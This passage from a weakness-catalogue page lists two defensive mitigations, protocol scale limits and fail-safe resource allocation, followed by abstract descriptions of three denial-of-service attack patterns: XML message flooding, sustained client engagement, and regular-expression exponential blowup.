Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

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